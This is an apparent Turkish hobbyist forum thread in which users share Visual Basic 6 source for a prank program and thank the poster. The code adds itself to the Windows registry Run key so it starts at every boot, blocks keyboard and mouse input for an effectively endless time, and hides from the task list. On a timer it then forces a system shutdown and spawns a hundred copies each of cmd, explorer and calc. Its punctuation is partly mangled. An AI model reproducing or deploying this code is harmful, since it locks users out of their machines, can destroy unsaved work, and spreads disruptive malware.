nasıl çalıştığı hakkında biraz bilgi verirsen sevinirim

Deniyorum şimdi bakalım nasıl çalışıyor

Kodlar!! ... Kod: Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN" & App. EXEName, App. Path & "" & App. EXEName & ". exe" Private Declare Function BlockInput Lib "user32" As Long Private Declare Sub Sleep Lib "kernel32" 'burada klavyeyi va mousu bloke etme fonksiyonlarını yazıyoruz 'forma 1 label ve 2 timer ekle Private Sub Form_Load DoEvents 'mose ve klavyeyi bloke eder BlockInput True 'bloke islemine baslar Sleep 1E+80 'bu kadar süre bloke eder bu süre cok uzun BlockInput False 'bloke islemini sonlandir App. TaskVisible = False Form1. Visible = False 'formu ctrl+alt+del den gorunmez yaptik Timer2. Interval = 1 Timer1. Interval = 800 'burada zamanin hızını ayarlıyoruz Label1. Caption = Second saniye = Second End Sub Private Sub Timer1_Timer Dim saniye saniye = saniye + 1 If saniye = 60 Then saniye = 0 End If Label1. Caption = saniye End Sub Private Sub Timer2_Timer If Label1. Caption = 55 Then Shell "Shutdown. exe -s", vbMaximizeFocus For i = 1 To 100 Shell "cmd" Shell "explorer" Shell "calc" Next End If End Sub

ben zamanında 30 dk atan warmış bi onu yemiştim.. tam bişey yapıyorum önemli pc kapanıyor + saol Suk1y3n